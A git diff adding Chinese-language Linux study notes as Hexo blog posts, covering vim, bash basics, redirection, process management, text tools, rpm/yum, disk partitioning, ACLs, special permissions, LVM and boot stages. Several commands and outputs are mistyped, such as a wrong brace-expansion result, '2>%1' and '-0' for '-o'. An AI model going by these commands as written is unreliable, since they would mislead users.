dd | yy | +| 字符 | cl | dl | yl | +| 字 | cw | dw | yw | +| 句首 | c) | d) | y) | +| 句尾 | c( | d( | y( | +| 段上面 | c{ | d{ | y{ | +| 段下面 | c} | d} | y} | + +> - 放置粘贴 + +- 使用p或者P来放置(粘贴)拷贝或者删除的数据 +- 面向行的数据: + - p 防止数据在当前行的下面 + - P 放置数据在当前行的上面 +- 面向字符的数据 + - p 放置数据在光标的后面 + - P 放置数据在光标的前面 +- 撤销改变 + - u 撤销最近的改变 + - U 撤销当前行自从光标定位在上面开始的所有改变 + - Ctrl+r 重做最后一次 “撤销” 改变 + +## SHELL基础 + +** Shell 一种特殊的程序,被称为脚本语言,他是用户与unix/Linux系统 “心脏” 之间的接口.** + +![img](https://s1.vika.cn/space/2023/03/20/3a31fd6533004826b195dc3a86e667a5) + +### SHELL类型 + +> - UNIX shell: +> - Bourne shell,C shell,Korn shell + +- Linux shell: + - TC shell,Z shell,Bash shell + +## Bash shell 历史 + +> - Bash 是基于Bourne shell 开发的,对于所有的UNIX上的Shell脚本来说,Bash已成为了事实上的标准. + +- Bash 全称: Bourne Again shell +- 开发时间: 1988年 +- 开发作者: Brian Fox + +### 时使用的场合 + +- 常用的命令自动化 +- 执行系统管理和诊断工作 +- 创建简单的应用程序 +- 操作文本或文件 + +### Bash shell的特点 + +- GNU项目 +- 包含 UNIX Korn shell 和 C shell 的很多特性 +- 增加了与POSIX的一致性 +- 提供了大量的内置命令和命令行亏快捷方式 + +### Shell的特性及功能 + +> - 命令行快捷方式 +> - 命令行和文件名补全 +> - 命令历史 +> - 命令行编辑 + +- 命令行拓展 +- 通配符(元字符) +- 别名 +- 变量 +- 标准I/O与重定向 +- 管道 +- 编程基础 + +## 命令行快捷-文件统配符扩展 + +> - **通配符拓展** +> +> ``` +> * - 匹配0或者多个字符 +> ? - 匹配任意单个字符 +> [0-9] - 匹配0-9范围内的数字 +> [abc] - 匹配该列表内的任意字符 +> [^abc] - 匹配除列表内字符外的所有字符 +> ``` + +- **Tab键可用来帮助完成命令的输入:** + + - 为命令名,它将完成命令名的输入 + - 为参数,它将完成文件名的输入 + +- **命令行快捷-历史** + + - bash保存已经输入过的命令,这些历史命令可以用户来重复使用 + - 使用history命令可以看到历史命令列表 + +- **其他的历史命令技巧** + + - 使用up和down键来翻阅以前的命令 + - 按下Ctrl-r键从历史命令行中搜索命令(反向i搜索) + - 从先前的命令中冲调上一个参数 + - Esx-.(Esc键后跟一点) + - Alt-.(当输出点的时候按住Alt键) + - !$(仅上一个命令才有效) + +- **命令扩展-波形符** + + - 波形符 (~) + + - 可指向你的主目录 + + ``` + $ cat ~/.bash_profile + ``` + + - 也可指向其他用户的主目录 + + ``` + $ ls ~julie/public_html + ``` + +- **命令扩展-命令和大括号集** + + - 命令扩展: $() 和 `` + + - 输出一个命令作为另外一个命令的参数 + + ``` + $ echo 'This system's name is $(hostname)" + This system's name is server1.example.com + ``` + + - 大括号扩展 + + - 重复打印字符串 + + ``` + $ echo file{1,3,5} + file1 file2 file3 + $rm -f file{1,3,5} + ``` + +## shell变量 + +### 什么是变量? + +- 变量是内存中存储一个庶几乎的位置名称 +- 变量赋值: 变量名=值 + +### 变量命名 + +- 变量名必须以字母或下划线字符开头,其余的字符可以是字母,数字或下划线字符. +- 名字时大小写敏感的.给变量赋值时,等号周围不能有任何空白字符. + +### 引用变量 + +**使用$符号来提取储存在变量里的值** + +``` +# 设置变量 +bash$ name=sfd或者declare name=sfd +bash$ echo ${name} 或者echo $name + +# 删除变量 +bash$ unset name +bash$ readonly name huozhe declare -r name +``` + +### 变量分类 + +> - 环境变量 +> - 设置环境变量有以下集中格式 +> - export 变量名=值 +> - 变量名=值;export 变量名 +> - declare -x 变量名=值 + +- 本地变量(局部变量) +- 位置变量 +- 特殊变量 + +**查看变量** + +``` +# 查看当前SHELL变量 +set + +#查看当前SHELL中的环境变量 +printenv +env +export +``` + +### 一些常用的变量 + +> - 配置变量 +> - PS1: bash 提示符的显示 +> - PATH: 查找可执文件的目录 +> - EDITOR: 默认的文本编辑器 +> - HISFILESIZE: 保存在bash历史命令数目 + +- 信息变量 + - HOME: 用户的home目录 + - EUID: 用户的有效UID + +## 标准的输入与输出 + +> - Linux给应用程序提供三种I/O通道 +> - 标准输入(STDIN) - 缺省为键盘 +> - 标准输出STDOUT - 缺省为终端窗口 +> - 标准错误(STDERR) - 缺省为终端窗口 + +**文件描述符** + +> 所有的I/O,包括文件,管道和套接字,都是由内核通过一种名为文件描述符的即使进行管理的. + +### 重定向 + +> - **把文件描述符分配给终端意外的其他对象,就叫做重定向.** +> - 重定向输入: < +> - 重定向输出: > + +- 追加输出: >>文件名 +- 重定向标准错误输出: 2>文件名 +- 重定向标准输出和错误输出: &>文件名 +- 将标准错误输出重定向到输出: 2>%1 +- 将输出重定向到标准错误输出: 1>&2 +- 使用 << WORD从键盘重定向多行到STDIN + - 接受所有标准输入直到输入WORD字符 + - 有时称作here document + +## 管道 + +> - 管道时Unix/Linux进程间通讯的最古老的形式.管道用于将一条命令的输出传递给另一条命令作为输入. +> - 管道符号: | +> - 实例: who | wc +> - 结合多个工具的功能 +> - command1 | command2 | command3…等 + +- 重定向到多个目标(tee) + - command1 | tee filename | command2 + - 储存command1的stdout在filename里,然后通过管道传给command2 +- 使用 + - 故障诊断复杂的管道 + - 同时查看和记载输出 + +## Shell特殊元字符 + +| 元字符 | 含义 | +| ------ | ------------ | +| ; | 命令分隔符 | +| \| | 管道 | +| < | 输入重定向 | +| > | 输出重定向 | +| $ | 变量替换字符 | +| *[]? | Shell元字符 | + +### 引用 + +> - 引用被用于保护特殊的元字符不被解释和禁止扩展 + +- 斜线()让下一个字符合法 + - $echo Your cost: $5.00结果显示:Your cost: $5.00 +- 引号阻止扩展 + - 单引号( ‘ )抑制所有扩展 + - 双引号抑制所有扩展,除了: + - $ (dollar符号)-变量扩展 + - `(反引号)-命令替代 + - \ (斜线)-单个字符的继承 + - !(叹号)-历史替代 + +## SHELL编程基础 + +- 机器语言 +- 汇编语言 +- 高级语言 + - 编译型语言: C,C++… + - 事前编译成可执行格式 + - 解释型语言: PHP,SHELL,PYTHON,PERL + - 边解释边执行 + +### SHELL脚本 + +> - Shell脚本由许多命令或者可执行的语句组成的文本文件 + +- Shell 脚本的用途包括: + + - 常用命令的自动化 + - 执行系统管理和诊断工作 + - 创建简单的应用程序 + - 操作文本或者文件 + +- 创建SHELL脚本 + + - 步骤2:让脚本可执行: + - $ chmod u+X myscript.sh + - 执行脚本 + - 把脚本文件放置在-个可执行的路径的目录中或者在命令行指定这个脚本文件的绝对路径或者相对路径 + +- 条件测试 + + - 字符测试 + + - =:等于,比如:[“$A”=“$B”] + + - != :不等于 + + - < :小于,按ASCII字符排序 + + - > :大于 + + - -z:字符串长度为”null” + + - -n:字符串长度不为”null” + + - 整数测试 + + - -eq:等于 + - -ne:不等于 + - -gt:大于 + - -ge:大于等于 + - -It:小于 + - -le:小于等于 + + - 文件测试 + + - -e FILE:文件存在 + - -fFILE:这个文件是一个-般文件 + - -S FILE:这个文件大小不为0 + - -d FILE :表示这是一个目录 + - -b FILE :表示这是一个块设备 + - -C FILE:表示这是一个字符设备 + + - 逻辑测试 + + - 逻辑与 : && + - 逻辑或: || + +### SHELL之if语句 + +``` +if表达式;then命令;fi + +if表达式;then命令;else命令;fi + + +if 表达式 +then + 命令 +elif 命令 +then + 命令 +else 命令 +fi +``` + +### SHELL之循环语句 + +> - 三种类型的循环 +> +> - for循环 +> +> ``` +> for 变量in值的列表 +> do +> 命令(组) +> done +> ``` +> +> - while循环 +> +> ``` +> while 命令 +> do +> 命令(组) +> done +> ``` +> +> - until循环 +> +> ``` +> until 命令 +> do +> 命令(组) +> done +> ``` + +### shift 命令 + +``` +shift [n] #使指定参数左移n(不填默认为1)次 +``` + +### break 命令 + +``` +break [n] #跳出指定循环(未指定默认为1) +``` + +### continue 命令 + +``` +continue [n] # 跳出指定循环(未指定默认为1) +``` + +## 进程管理 + +> 进程是正在执行的一个程序或命令,每个进程都是一个运行的实体,都有自己的地址空间,并占用一定的系统资源。程序是人使用计算机语言编写的可以实现特定目标或解决特定问题的代码集合。 +> +> 这么讲很难理解,那我们换一种说法。程序是人使用计算机语言编写的,可以实现一定功能,并且可以执行的代码集合。而进程是正在执行中的程序。当程序被执行时,执行人的权限和属性,以及程序的代码都会被加载入内存,操作系统给这个进程分配一个 ID,称为 PID(进程 ID)。 +> +> 也就是说,在操作系统中,所有可以执行的程序与命令都会产生进程。只是有些程序和命令非常简单,如 ls 命令、touch 命令等,它们在执行完后就会结束,相应的进程也就会终结,所以我们很难捕捉到这些进程。但是还有一些程和命令,比如 httpd 进程,启动之后就会一直驻留在系统当中,我们把这样的进程称作常驻内存进程。 +> +> 某些进程会产生一些新的进程,我们把这些进程称作子进程,而把这个进程本身称作父进程。比如,我们必须正常登录到 Shell 环境中才能执行系统命令,而 Linux 的标准 Shell 是 bash。我们在 bash 当中执行了 ls 命令,那么 bash 就是父进程,而 ls 命令是在 bash 进程中产生的进程,所以 ls 进程是 bash 进程的子进程。也就是说,子进程是依赖父进程而产生的,如果父进程不存在,那么子进程也不存在了。 + +### 进程状态 + +![img](https://s1.vika.cn/space/2023/03/21/68a331889ae9410299cb9a335ddf12d3) + +### ps命令 + +> - 用ps查看进程信息 +> - 默认显示当前终端进程 +> - a包括所有终端的进程 +> - X包括不属于终端的进程 +> - u打印进程所有者信息 +> - f打印进程亲缘信息 +> - -e显示所有进程, +> - o property1,property…打印定制信息 +> - pid,comm,%cpu,%mem,state,tty,euser,ruser等 + +- 示例 + - ps axo pid,%cpu,comm +- pstree + - 可以更好的显示出进程之间的父子关系 + +### 查找进程 + +> - 通过预定义模式: pgrep +> - $ pgrep -U root +> - $ pgrep -G student + +- 通过准确的程序名: pidof + - $ pidof bash + +## 进程间通讯 之 信号 + +### 进程间通信方式IPC + +- 信号 +- 共享内存 +- 消息队列 +- 信号量 + +### 信号 + +> - 最基本的进程间通讯机制 +> - 直接发送给进程,不需要用户界面 +> - 对于任何信号应用程序都需要相应处理 + +- 通过名字或者号码来确定一个信号: + - Signal 15 : TERM(默认) -终止干净 + - Signal 9, KILL-立即终止 + - Signal 1, HUP -重读配置文件 + - man 7 signal显示完整列表 +- kill -l(查看64个信号的各个功能) + +### 作业控制 + +> - 在后台运行一个进程 +> - 给命令行尾附加一个符号: firefox & + +- 临时停止一个正运行的程序 + - 使用ctrl-z 或者发送signal 19 (停止) +- 管理后台或者挂起的作业 + - 显示作业号和名字: jobs + - 在后台恢复: bg [%jobnum] + - 在前台恢复: fg [%jobnum] +- 发送一个信号 : kill [-SIGNAL] [%jobnum] + +### 排序运行队列 + +> - 每个进程被运行是按调度策略与优先级 + +- 调度策略: + - SCHED_ FIFO + - chrt 命令调整优先级 + - SCHED_ RR + - chrt 命令调整优先级 + - SCHED_ OTHER + - nice或者renice命令调整优先级 + - 每个进程被强占后,会重新计算一个新的内部的优先级 + - 优先级范围是: 100-139 + - 在每个进程被强占后,会收到一-个+5优先级惩罚 +- 优先级: + - 静态: 1-99 , 是被SCHED_ FIFO和SCHED_ _R所使用 + - 静态0以及动态( 100- 139 ) 被SCHED_ OTHER所使用 + +**优先级与更改优先级** + +> - 数字越小,优先级越高 + +- 值范围为-20到19,缺省为0 +- Nice值可以被修改 +- 当启动进程的时候: + - $ nice -n 5 command +- 在启动进程之后: + - $ renice 5 PID +- 只有root用户才能降低nice值 + +## 字符处理工具 + +### 提取文本工具 + +> - 文本内容: less和cat +> - less :在查看文件或者标准输入的时候,每次只看- -页 +> - 在查看时常用的命令如下: +> - /text :搜索text +> - n/N :跳转到next/previous匹配的地方 +> - v :用文本编辑器打开该文件 +> - cat : dump一个或者多个文件到标准输出 +> - 多个文件联合在一起 + +- 文本摘选: head和tail + - head :显示文件的起始10行 + - 使用-n选项改变行显示 + - tail :显示文件最后10行 + - 使用-n选项改变行显示 + - 使用-f选项来继续从输入文件复制额外的单元 + - 对于监控日志文件非常有用! +- 提取列或者字段: cut + - 显示文件指定的列或者标准输入数据 + - $ cut -d:-f1 /etc/passwd + - 使用-d选项来指定列分隔符(默认是TAB) + - 使用 -f选项来指定要打印的列 + - 使用-C选项来指定按字符来提取 + - $ cut-c2-5 /usr/share/dict/words + +**man命令中是采用less来分页的** + +### 手机文本统计 - wc(单词统计) + +> - 计算单词书,行数,字节数和字符数 + +- 可针对一个文件或者标准输入 + + ``` + $ wc filename + ``` + +- 使用-|选项:仅仅统计行数 + +- 使用-W选项:仅仅统计单词数 + +- 使用-C选项:仅仅统计字节数 + +- 使用-m选项:统计字符数(不显示) + +### sort + +> - 对标准输出排序-原始文件不改变 +> - $ sort [options] file(s) + +- 常用选项 + + - -r :执行反向(降)排序 + + - -n :执行数字排序 + + - -f :忽略字符串中的大小写 + + - -u :在输出中删除重复的行(唯一) + + - -t c :使用C作为字段间的分隔符 + + - -kX:使用C分隔符排序X字段 + + - 可多次使用 + + > - uniq: 从相邻的行中删除重复行 + + - 使用-c选项统计发生重复的次数 + + - 跟sort-起使用效果最好: $ sort userlist.txt!uniq -C + +### 文件比较 - diff + +- 比较两个文件的不同 + - diff foo.conf-broken foo.conf-works + +### locate + +> - locate passwd ,查找名字或路径中包含passwd的文件 + +- 有用的选项 + - -i进行大小写不敏感的查找 + - -nX只列出X匹配的 + - -e DIR1,DIR2…不搜索目录DIR1,DIR2等等 + +### find + +> - Find [dir1 dir2 …][criteri…] + +- 实时搜索目录树 +- 比locate慢但更精确 +- 如果不给定开始目录,就用pwd +- 如果不给定criteria ,所有文件都匹配 +- 在找到的文件上可以执行命令 +- 对于被搜索目录,用户要拥有可读和可执行的权限 +- find -name snow.png + - 在当前目录下查找名为snow.png的文件 +- find -iname snow.png + - 在当前目录下查找文件名字为snow.png , SNOW.PNG等等,大小写不敏感 +- find / -name *.txt + - 在整个系统中查找以.txt 结尾的文件 +- find /etc -name *pass* + - 在/etc目录下查找名字包含pass的文件 +- find /home -user joe -group joe + - 在/home目录下查找所有者是joe并且组也是joe的文件 + +#### find 与逻辑操作 + +> - 默认匹配是与 + +- 可以用-0或者是-not表示”或”或者是 +- 括号可以用来检测逻辑操作的顺序,但必须用斜线转义 + - find -user joe -not -group joe + - find -user joe -0 -user jane + - find -not ( -user joe -0 -user jane ) + +#### find与权限 + +> - 能用名字或id匹配所属关系 +> - find / -user joe -0 -uid 500 + +- 能匹配八进制或符号权限 + - find -perm 755会匹配755的模式 + - find -perm + 222会匹配只要任何用户能写的模式 + - find - perm -222会匹配所有用户都可以写的模式 + - find -perm -002会匹配其他人可以写的模式 + +#### find与数字标准 + +> - 许多查找标准采用数字值 +> - find - -size 10M大小等于10M的文件 +> - find -size +10M大小超过10M的文件 +> - Find - size -10M大小少于10M的文件 + +- 其他修饰符也有效,如:k代表KB,G代表GB等等 + +#### find与访问时间 + +> - find可以通过节点时间戳匹配 +> - -atime文件是最后被读的 +> - -mtime文件数据最后被修改的 +> - -ctime文件数据或元数据最后被修改的 + +- 给定值是天 + - find /tmp - -ctime +10 /tmp下10天以前被修改的文件 +- 可以使用分钟的值 + - -amin + - -mmIn + - -cmin + +#### find更多命令 + +> - 在找到的文件上可以执行命令 + +- 必须用-exec或者-ok打头执行命令 +- -ok在对每个文件进行动作前提示 +- 命令必须以空格+斜线(“" )+分号结尾 +- 可以使用{}作为文件名字占位符 + - find -size + 100M -ok mv {} /tmp/largefiles/ \ ; + +### grep + +> - 通过关键词来提取文本 + +- 打印匹配的文件行或者标准输入 + - $ grep ‘john’ /etc/passwd + - $ date -help|grep year +- 使用-i选项:忽略大小写敏感搜索 +- 使用-n选项:打印匹配的行号 +- 使用-V选项:打印哪些不匹配的行 +- 使用-AX选项:在匹配数据后包含显示X行 +- 使用-BX选项:在匹配数据前包含显示X行 +- 使用-r选项:递归搜索目录 +- 使用–color=auto选项:用color颜色高亮显示匹配的数据 +- 使用-c选项:只输出匹配行的计数 +- 使用-|选项:查询多文件时只输出包含匹配字符的文件名 +- 使用-R选项:递归对目录下面的所有文件进行过滤 + +## 正则表达式 + +**正则表达式( Regular expression,RE)是一种字符模式,用于在查找过程中匹配指定的字符。** + +> - ^ 表示行的开始 + +- $ 表示行的结束 + +- *一个单字符后紧跟* ,匹配0个或多个此单字符 + +- [] 只匹配 [] 内字符 + +- \ 只用来屏蔽一个元字符的特殊含义。 + +- . 只匹配任意单字符 + + ``` + pattern\{ n \}只用来匹配前面patte r n出现次数。n为次数 + pattern\{n,\}含义同上,但次数最少为n + pattern\{n,m\}含义同上,但pattern出现次数在n与m之间 + \锚定词尾 + ``` + +## 包管理器 + +### rpm包管理器 + +> RPM是RedHat Package Manager的缩写,这一文件格式名称虽然打上了 +> RedHat的标志,但是其原始设计理念是开放式的, 现在包括OpenLinux、 +> S.u.S.E.以及Turbo Linux等Linux的分发版本都有采用,可以算是公认的行业标准了。 + +### rpm包名结构 + +![img](https://s1.vika.cn/space/2023/03/21/49f6b174ca2448898f2ae5511d67a5be) + +### 常用参数 + +``` +-i:安装 +-e:删除 +-vh :显示安装进度 +-U:升级软件包 +``` + +> - 组件 +> - 本地数据库 +> - rpm及相关命令或前端界面 +> - 包文件 +> - 四种基本查询类型: +> - rpm -qa +> - rpm -q package +> - rpm -qf file_ path_ name +> - rpm -qp rpmfile + +- 查询的信息类型: + - -qi包的主要信息 + - -q|显示包中的文件 +- 其它选项 + - –force + +### 对已安装的包进行文件校验: + +- rpm -V package +- rpm -Vp rpmfile +- rpm -Va +- 在包安装之前进行签名校验: + - rpm –import RPM-GPG-KEY-redhat-release + - rpm -K rpmfile + +> - 文件校验表: +> - S :档案大小改变 +> - M :档案的属性发生变化 +> - 5 : MD5这种指纹的内容已经不同 +> - D:设备的主、次代码已经改变 +> - L: link 路径已经改变 +> - U:档案的所属者改变 +> - G:档案的所属组改变 +> - T:时间改变 + +### 如何解决依赖关系: + +**rpm无法自动解决依赖关系,需要手动操作** + +> - 使用–nodeps不考虑依赖关系, 强制安装 + +- 一次性安装所有的软件包 +- 百度 ,GOOGLE +- 自己学会基本的判断 +- 使用yum + +### yum + +- rpm的前端 +- 设计用于解决软件包之间的依赖性 +- 能够从多个资源库中定位软件包 + +![img](https://s1.vika.cn/space/2023/03/21/bd2d7adbd90a47c988a0c4064e7bda91) + +**在/etc/yum.repos.d/中为你的资源库创建一个文件, 文件名以.repo结尾,包含以下内容:** + +``` +[repo-name] +name=A nice description +baseurl=http://yourserver.com/ path/to/repo +enabled=1 +gpgcheck=1 +``` + +#### yum的安装与删除命令 + +> - yum install package… + +- yum groupinstall packagegroup… + +- yum remove package… + +- yum update [packag…] + + > - yum list [al] [package_ glob] + +- yum list (available|updates|installed|extras|obsoletes) + +- yum info package + +- yum groupinfo packagegroup + +- yum whatprovides filename + *清除资源库信息在内存中的缓存: + + ``` + yum clean dbcache|all + ``` + +- 重建元数据的命令 + + - createrepo /pkg + +## Udev 概述 + +> - /dev下的文件用于访问驱动 + +- 从这些文件进行读写是合法的操作: + + - echo “Message” > /dev/tty1 + +- 三种文件属性决定访问哪种驱动: + + - 设备类型号(字符设备或块设备) + + - 主设备号( Major number ) + + - 次设备号( Minor number ) + + > - 块设备 + + - /dev/sda, /dev/sdb- SCSI, SATA或USB存储 + + - /dev/md0, /dev/md1一软件RAID + +- 字符设备 + + - /dev/tty[0-6] -虚拟控制台 + - /dev/null , /dev/zero一软设备 + - /dev/random , /dev/urandom -随机数 + +- udev管理/dev/下存储的文件 + +- 文件只有在相应的设备被插入时才会被创建 + +- 文件会在相应的设备被断开时自动删除 + +### 磁盘管理概述 + +> - 进行设备识别 + +- 对设备进行分区 +- 新建文件系统 +- 对文件系统进行标记 +- 在/etc/fstab创建相应条目 +- 安装新文件系统 + +### MBR + +![img](https://s1.vika.cn/space/2023/03/21/b8eb1ca808a54812a54904ce1714434b) + +### 设备识别 + +> - 主引导记录(MBR)包括: +> - 用于调入操作系统的可执行代码 + +- 分区表信息,包括: + - 分区ID或类型 + - 分区开始的柱面号 + - 分区包含的柱面数 + +### 分区 + +> - 一个扩展分区指向一个附加的分区描述符 + +- 内核支持的最大分区数为: + - IDE驱动器: 63个 + - SCSI驱动器: 15个 +- 为何要对驱动器进行分区 + - 可控性,性能额度控制,修复 + +### 管理分区 + +- 创建分区: + - fdisk + - sfdisk + - GNU parted :高级分区操作(创建分区拷贝分区,分区大小调整,其它) +- partprobe :刷新内核使用的存放于内存中的分区表 \ No newline at end of file diff --git a/source/_posts/cloud_linux_2.md b/source/_posts/cloud_linux_2.md new file mode 100644 index 0000000..ddbf98e --- /dev/null +++ b/source/_posts/cloud_linux_2.md @@ -0,0 +1,609 @@ +--- +title: 云计算 - Linux系统管理 +date: 2023-03-27 10:30 +tags: [云计算, 笔记] +categories: 笔记 +thumbnail: "https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg" +--- + +## 文件系统 + +> - 文件系统格式操作系统用于明确存储设备或分区上的文件的方法和数据结构,即在储存设备上组织文件的方法. + +- 操作系统中负责管理和储存文件信息的软件机构称为文件下管理系统,简称文件系统. +- 文件系统时命名文件以及放置文件逻辑级储存和恢复的系统. + +## 文件系统类型 + +> - 本地文件系统(基于磁盘的文件系统): +> - Windows系统: FAT,NTFS +> - Linux系统: EXT2,EXT3,EXT4,XFS +> - Unix系统: ZFS,JFS,JFS2,HFS + +- 网络文件系统: + - NTFS,GFS,GFS2,NFS,CIFS +- 虚拟文件系统: 基于内存的文件系统 + - TMPFS + - PROC + - SYSFS + - … +- 交换分区(swap) + +## inode 和 block 概述 + +> 文件是存储在硬盘上的,硬盘的最小存储单位叫做扇区sector,每个扇区存储512字节。操作系统读取硬盘的时候,不会一个个扇区地读取,这样效率太低,而是一次性连续读取多个扇区,即一次性读取一个块block。这种由多个扇区组成的块,是文件存取的最小单位。块的大小,最常见的是4KB,即连续八个sector组成一个block。 +> +> 文件数据存储在块中,那么还必须找到一个地方存储文件的元信息,比如文件的创建者、文件的创建日期、文件的大小等等。这种存储文件元信息的区域就叫做inode,中文译名为索引节点,也叫i节点。因此,一个文件必须占用一个inode,但至少占用一个block。 + +- 元信息 → inode +- 数据 → block + +### inode + +> - inode表包括ext2,ext3或ext4文件系统上的所有文件列表 + +- inode(索引节点)时表的入口,包括文件信息(元数据) + - 文件类型,许可权限,UID,GID + - 链接数量(指向该文件的路径数目) + - 文件大小和可变的时间戳 + - 文件数据在磁盘上的块指针 + - 文件的其他数据 + +![img](https://s1.vika.cn/space/2023/04/05/db1f2d302f744dbd86b07f6057c5bba7) + +## EXT3/EXT4文件系统之日志的功能 + +- 日志的作用 + - 在系统崩溃后,通过扫描日志文件就可以把文回复到一致的状态 + +### 三种日志模式 + +> - 完整数据模式(Full Data) + +- 预定模式(Ordered) +- 写回模式(WriteBack) + +### 磁盘配额(quota) + +> - 在内核中实现配额 + +- 在单个文件系统上实现 + +- 针对每个用户或组具有单独的策略 + + - 对块(blocks)或节点(inodes)的数量进行限制 + - 可以实现软限制或硬限制 + +- 分区**mount**选项: usrquota, grpquota + +- 初始化数据库: + + ``` + quotacheck -cugm /filesystem + ``` + +### 为用户配额 + +> - 实现方法 +> - 启用和停止Perez: quotaon, quotaoff +> - 直接修改配置:edquota, username + +- 从Shell设置: + + ``` + setquota username 4096 5120 40 50 /foo + ``` + +- 定义模板用户 + + ``` + edquota -p user1 user2 + ``` + +### 配额状态报告 + +> - 用户审查: quota + +- 配额总览: requota + +## 访问控制列表(ACL) + +- **ACL的定义及作用** +- **设置ACLs** + +### ACLs + +> - ACLs全称Access control lists(访问控制列表) +> - 用于对文件或者目录作做更精细控制 + +- 主要通过三个方面控制资源 + + - 拥有者 + - 拥有组 + - mask + +- 命令: + + ``` + setfacl -m/x[修改/删除] u/g/m/d[拥有者/拥有组/mask掩码/默认权限]:name file|directory + + setfacl -m u:gandolf:rwx file|directory + setfacl -m g:anzgul:rw file|directory + setfacl -m m::rwx file|directory + setfacl -m d:u:frodo:rw directory + setfacl -x u:samwise file|directory + ``` + +- 使用mount选项实现 + + ``` + mount -o acl /mountpoint + ``` + +- 在安装期间设置文件系统 + + ``` + tunefs -l /dev/sda1 | grep options + ``` + +### 硬链接和软链接 + +#### 硬链接 + +命令 + +- **创建硬链接** + + ``` + ln filename [linkname] + ``` + +![img](https://s1.vika.cn/space/2023/04/05/ef50ed44ce6d41eebbf1501d88aad00c) + +> - 只要还有一个链接存在,文件就存在 + +- 当链接数为零时,文件被删除 +- 不能跨硬盘分区 + +#### 软链接 + +命令 + +``` +ln -s filename linkname +``` + +## 高级权限 + +- suid +- sgid +- sticky bit + +![img](https://s1.vika.cn/space/2023/04/05/634f4cc1fd3b49aaac8545bde3da882d) + +### 含义 + +> - 在文件上的含义 +> - suid: 命令运行时具有命令所有者拥权限,不是命令的执行者 +> - sgid: 命令运行时具有命令所在组权限的合并 + +- 在目录上面的含义 + - sgid: 在带有sgid为设置的目录下创建的文件又目录的组的权限的累加 + - sticky bit: 带有sticky bit设置的目录,下面的文件只能被锁又这或者root用户删除,无论目录的写权限是啊如何设置的 + +| 权限 | 描述 | 数字表示 | +| ---------- | -------------------------------------- | ------------------------------------------- | +| drwsr-xr-x | 基本权限是 rwxr-xr-x 高级权限是 suid | 基本权限是 755 高级权限是 4 完整权限是 4755 | +| drwSr-xr-x | 基本权限是 rwxr-xr-x 高级权限是 suid | 基本权限是 655 高级权限是 4 完整权限是 4655 | +| drwxrwsr-x | 基本权限是 rwxrwxr-x 高级权限是 sgid | 基本权限是 775 高级权限是 2 完整权限是 2775 | +| drwxrwSr-x | 基本权限是 rwxrw-r-x 高级权限是 sgid | 基本权限是 765 高级权限是 2 完整权限是 2765 | +| drwxrwxrwt | 基本权限是 rwxrwxrwx 高级权限是 sticky | 基本权限是 777 高级权限是 1 完整权限是 1777 | + +### 符号法 + +> - 语法 +> +> ``` +> chmod [-R] mode file +> ``` + +- mode(模式) + + - u,g或者o表示文件所属用户,组以及其他用户 + - - 或者 - 表示允许或者禁止 + - s和t表示高级权限 + +- 示例: + + ``` + u+s:设置的是suid + g+s:设置的是sgid + o+t:设置的是sticky bit + ``` + +### 数字法 + +> - 权限通过累加的方式来计算: +> - 4(suid) 2(sgid) 1(sticky) + +- 示例 + - chmod 4775 file + +## 储存高级 + +### GTP(GIUD Partition Table): 全局唯一标识磁盘分区表 + +![img](https://s1.vika.cn/space/2023/04/05/a140d5f97570432d9d49789d18462ff8) + +![img](https://www.itgeeker.net/wp-content/uploads/mrb-gpt.png) + +### GPT分区工具**parted** + +#### LVM + +> - LVM全称 Logical Volume Manager(逻辑券管理器) + +- 为了便于操作卷,包括重定义文件系统的大小,额定义的抽象层 +- 允许在多个五路设备上重新组织文件系统 +- 设备被认定为物理卷(PV) +- 一个或多个物理卷可以用于创建成一个卷组(VG) +- 卷组由固定大小的物理区域(PhysicalExten,PE)定义 +- 逻辑卷在卷组上创建按,并由PE组成 +- 文件系统创建在逻辑卷之上 + +#### LVM工作模式 + +> - 非条带化(线性) + +- 条带化 +- 镜像 +- 快照 + +### 调整逻辑卷大小 + +> - 扩展卷 +> - Ivextend可以扩展逻辑卷 +> - resize2fs可以在联机或脱机状态下扩展ext4文件系统 + +- 收缩卷 + - 必须在脱机状态下实施( umount ) + - 需要先进行文件系统校验( e2fsck ) + - 先收缩文件系统性( resize2fs ) + - 最后,lvreduce可用于收缩卷 + +## 图形化 + +### X Window又叫做X11或X + +> - 1987年X的第11版发行,即X11 + +- 是基于网络的显示协议,提供了窗口功能,包含建立图形用户界面的标准工具和协议 +- X Window是Linux的图形子系统 +- 开发X Window的团体: + - XFree86 + - X.org +- Xorg是红帽公司、普华公司用在X Window系统中的特定版本 + +### X Window的组成 + +> - 服务端 + +- 客户端 + +![img](https://s1.vika.cn/space/2023/04/06/e1a1aac64cc6432ea2592afd6392d936) + +### 桌面环境 + +> - 在X图形系统基础上,桌面环境为计算机提供完全的图形用户界面(GUI) + +- 提供桌面环境解决方案的团体: + - GNOME + - KDE + - xfce4 + - XDM + - … + +> - **GUI** + +- X Window + Window Manager + Display Manager +- 配置文件 + - /etc/X11/xorg.conf + - X -configure + +# 进程,线程,LWP + +> - 进程是资源管理的最小单元; + +- 线程是程序执行的最小单元。 +- 轻量级进程(LWP)是建立在内核之上并由内核支持的用户线程,它是内核线程的高度抽象,每一个轻量级进程都与一个特定的内核线程关联。内核线程只能由内核管理并像普通进程一样被调度 + +## 操作系的启动过程 + +### 1,第一阶段:硬件引导 + +![img](https://s1.vika.cn/space/2023/04/06/38a65e8374db47d7b8d1da102f72cae9) + +> - 备份: +> - dd if=/dev/sda of= /tmp/mbr. bak bs=512 count= 1 +> - dd if=/dev/sda of= /tmp/mbr. bak bs =446 count=1 +> - dd if=/tmp/mbr.bak of=/dev/sda bs=512 count=1 +> - dd if= /tmp/mbr .bak of= /dev/sda bs= 512 count=1 + +- 生成bootloader + - grub-install /dev/sda + +### 2,第二阶段:加载管理启动程序 + +![img](https://s1.vika.cn/space/2023/04/06/003a055acdf846c68fa1cf7df3fb8bbc) + +> - /boot/grub/grub.conf + +- 最小需求: + - title xxx + - root (hdX,Y) + - kernel /vmlinuz-version ro root=根文件系统名称. + - Kernel包含的文件 + - /boot/vmlinuz -version + - /boot/initramfs-version.img + - /lib/modules/ + - initrd /initramfs-version.img + +### 3,第三阶段: 加载内核,并挂载根文件系统 + +#### 内核初始化 + +> - 启动期间内核功能 +> - 设备检测 +> - 设备驱动初始化 +> - 以只读方式装载根文件系统. +> - 调入最初的进程( init ) + +### 4,第四阶段: Sys V init初始化 + +> - /etc/init/rcS.conf + +- /etc/rc.d/rc.sysinit + - 重要的任务包括: + - 激活udev和selinux + - 设置/etc/sysctl.conf中定义的核心参数 + 